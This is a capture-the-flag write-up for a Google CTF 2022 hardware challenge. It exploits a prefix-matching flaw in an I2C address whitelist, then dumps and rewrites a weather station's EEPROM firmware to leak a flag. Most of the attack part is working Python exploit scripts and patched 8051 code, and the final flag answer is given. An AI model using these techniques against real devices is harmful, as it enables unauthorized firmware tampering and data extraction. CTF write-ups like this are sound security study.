## Official description
> Our DYI Weather Station is fully secure! No, really! Why are you laughing?!> OK, to prove it we're going to put a flag in the internal ROM, give you the> source code, datasheet, and network access to the interface.
We are given a ZIP file containing[Device Datasheet Snippets.pdf](https://github.com/google/google-ctf/raw/66de2426aaf3e37e4314714d1eb588d5804c62d6/2022/hardware-weather/attachments/Device%20Datasheet%20Snippets.pdf)and[firmware.c](https://raw.githubusercontent.com/google/google-ctf/66de2426aaf3e37e4314714d1eb588d5804c62d6/2022/hardware-weather/attachments/firmware.c).We are also given a server host and port:`weather.2022.ctfcompetition.com:1337`.
## Exploration
### Datasheet snippets
Let's start by reading the datasheet snippets[Device Datasheet Snippets.pdf](https://github.com/google/google-ctf/raw/66de2426aaf3e37e4314714d1eb588d5804c62d6/2022/hardware-weather/attachments/Device%20Datasheet%20Snippets.pdf):
  * The system is powered by a `CTF-8051` micro-controller, probably based on    [Intel 8051](https://en.wikipedia.org/wiki/Intel_8051).
  * The firmware is read from a `CTF-5593D` EEPROM.      * It contains 64 pages of 64 bytes.      * It is connected via SPI for data access and I2C for programming.      * After erase, we can only clear bits via I2C.
  * Multiple I2C sensors are connected to the micro-controller.
  * A `FlagROM` device is present inside the micro-controller.    It contains the flag.
**From this point the goal is clear: we need to alter the operation of the weatherstation to read the content of `FlagROM`.**
### Firmware source code
Let's now read[firmware.c](https://raw.githubusercontent.com/google/google-ctf/66de2426aaf3e37e4314714d1eb588d5804c62d6/2022/hardware-weather/attachments/firmware.c):
  * This firmware exposes a serial command prompt. This command prompt is    accessible via Netcat:    ```    $ nc weather.2022.ctfcompetition.com 1337    == proof-of-work: disabled ==    Weather Station    ?    ```  * Users can issue I2C read commands with the following syntax:    `r I2C_ADDR LENGTH`.  * Users can issue I2C write commands with the following syntax:    `w I2C_ADDR LENGTH BYTE0 BYTE1 BYTE2 ...`.  * Read and write commands are limited to these whitelisted I2C addresses:    ```C    const char *ALLOWED_I2C[] = {        "101",  // Thermometers (4x).        "108",  // Atmospheric pressure sensor.        "110",  // Light sensor A.        "111",  // Light sensor B.        "119",  // Humidity sensor.        NULL    };    ```
For example, let's try to write then read to the humidity sensor:```? w 119 20 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99 99i2c status: transaction completed / ready? r 119 128i2c status: transaction completed / ready37 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-end```
The remote command prompt has a 120 seconds time limit:`exiting (device execution time limited to 120 seconds)`.
## Proposed solution
We exploit a vulnerability in the I2C address parser to read the EEPROM.Then, we modify a dump of the EEPROM to add instructions to read `FlagROM`.Finally, we write this modified firmware back to the EEPROM to extract the flag.
### I2C address parser vulnerability
If we try to issue a read command outside of the `ALLOWED_I2C` whitelist,we get the following error message:`-err: port invalid or not allowed`. Looking at `firmware.c` weunderstand that this error message is due to the `port_to_int8` functionreturning `-1`:
```Cint8_t port_to_int8(char *port) {  if (!is_port_allowed(port)) {    return -1;  }
  return (int8_t)str_to_uint8(port);}```
`str_to_uint8` cannot return `-1`, i.e. this error message is triggered by`is_port_allowed` returning `-1`:
```Cbool is_port_allowed(const char *port) {  for(const char **allowed = ALLOWED_I2C; *allowed; allowed++) {    const char *pa = *allowed;    const char *pb = port;    bool allowed = true;    while (*pa && *pb) {      if (*pa++ != *pb++) {        allowed = false;        break;      }    }    if (allowed && *pa == '\0') {  // vuln, missing *pb == '\0'      return true;    }  }  return false;}```
This function checks the `port` I2C address against `ALLOWED_I2C` whitelist, butit has a flaw: it does not check that it reached the end of the `port` stringwhen reaching the end of an item in `ALLOWED_I2C`.
The following Python script exploits this vulnerability to find all I2C devices:
```Pythonimport socket
s = socket.socket(socket.AF_INET)s.connect(("weather.2022.ctfcompetition.com", 1337))
def wait_prompt(s):    rx = s.recv(1000)    while not rx.endswith(b"? "):        rx += s.recv(1000)    return rx
rx = wait_prompt(s)
# Use "101" thermometers prefixfor i2c_addr in range(101000, 101000+128):    s.send(f"r {i2c_addr} 1\n".encode())    rx = wait_prompt(s)
    if b"error - device not found" not in rx:        print(i2c_addr%128, rx)```
We get:```33 b'i2c status: transaction completed / ready\n? '101 b'i2c status: transaction completed / ready\n? '108 b'i2c status: transaction completed / ready\n? '110 b'i2c status: transaction completed / ready\n? '111 b'i2c status: transaction completed / ready\n? '119 b'i2c status: transaction completed / ready\n? '```
**We discover a new I2C device at address `33` which might be our EEPROM.**We can read and write to this device using address `101025`.
### Dumping the EEPROM
Let's try to select page and read the maximal amount of data from the EEPROM:
```? w 101025 1 0i2c status: transaction completed / ready? r 101025 128i2c status: transaction completed / ready2 0 6 2 4 228 117 129 48 18 8 134 229 130 96 32 0 3 121 0 233 68 0 96 27 122 0 144 10 2 1201 117 160 2 228 147 242 163 8 184 0 2 5 160 217 244218 242 117 160 255 228 120 255 246 216 253 120 0 232 68 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-end```
As mentioned by the datasheet, the EEPROM returns one page of 64 bytes.Let's dump the whole EEPROM:
```Pythonimport socket
s = socket.socket(socket.AF_INET)s.connect(("weather.2022.ctfcompetition.com", 1337))
rx = wait_prompt(s)
dump = b""for page in range(64):    s.send(f"w 101025 1 {page}\n".encode())    rx = wait_prompt(s)
    if not b"transaction completed / ready" in rx:        print(rx)
    s.send(f"r 101025 64\n".encode())    rx = wait_prompt(s)
    if not b"transaction completed / ready" in rx:        print(rx)
    rx = rx.split(b"\n")    rx = b" ".join(rx[1:-2]).decode()    rx = bytes(map(int, rx.split()))    dump += rx    print(f"Got page {page}")
with open("weather_eeprom.bin", "wb") as f:    f.write(dump)```
We use [cpu_rec](https://github.com/airbus-seclab/cpu_rec) and confirm thatthe CPU is indeed running Intel 8051 instructions:```$ binwalk -% weather_eeprom.bin
DECIMAL       HEXADECIMAL     DESCRIPTION--------------------------------------------------------------------------------0             0x0             8051 (size=0x800, entropy=0.787004)2048          0x800           None (size=0x800, entropy=0.269661)```
### Patching the EEPROM in Ghidra
We open the dump in Ghidra. After taking some inspiration from some functions,we are able to craft this assembly code:
```ASM    MOV CCAP4L,#0       # 0 is the index of the flag    MOV B,DAT_SFR_ef    # read flag byteboucle:    MOV A,TXDAT         # is serial ready?    JZ  boucle    MOV TXSTAT,B        # print byte to serial```
During EEPROM programming, bits can only be cleared: it is impossible toreplace a `0` by a `1`.We choose to put this piece of assembly code at `0x0a02` offset as itis filled with `0xFF`. To run this code, we replace the data and codebefore with `0x00` which is a NOP instruction.
Let's implement this in Python:```Pythonimport socketimport time
for offset in range(256):    s = socket.socket(socket.AF_INET)    s.connect(("weather.2022.ctfcompetition.com", 1337))
    def program_page(page, content):        i2c_addr = 101025  # 33 (eeprom)
        content = [0xFF - c for c in content]        content = " ".join(map(str, content))
        # 165 90 165 90 is the EEPROM key        req_len = 127        s.send(f"w {i2c_addr} {req_len} {page} 165 90 165 90 {content}\n".encode())
        # wait for prompt        s.settimeout(1)        time.sleep(1)  # we cannot wait for characters as we are removing them        try:            rx = s.recv(1000)        except socket.timeout:            rx = None        if rx and b"status: transaction completed" not in rx:            print(rx[:1])
    wait_prompt(s)
    # New code    content = [        57, 0,        0x75, 0xee, offset,  # MOV CCAP4L,#offset        0x85, 0xef, 0xf0,    # MOV B,DAT_SFR_ef        0xe5, 0xf3,          # MOV A,TXDAT        0x60, 0xfb,          # JZ  boucle        0x85, 0xf0, 0xf2,    # MOV TXSTAT,B    ] + [0] * 49    program_page(40, content)
    # Erase previous pages until 32-th page    for page in range(39, 32, -1):        content = [0] * 64        program_page(page, content)
    # Do not erase whole 32-th page to align to instruction start    content = [0xFF, 0xFF] + [0] * 62    program_page(32, content)
    s.close()```
We could have put the loop directly in assembly to do it much faster.After some time we get:```b'C'b'T'b'F'b'{[...]b'}b'\n'```
This is our flag, `CTF{DoesAnyoneEvenReadFlagsAnymore?}`.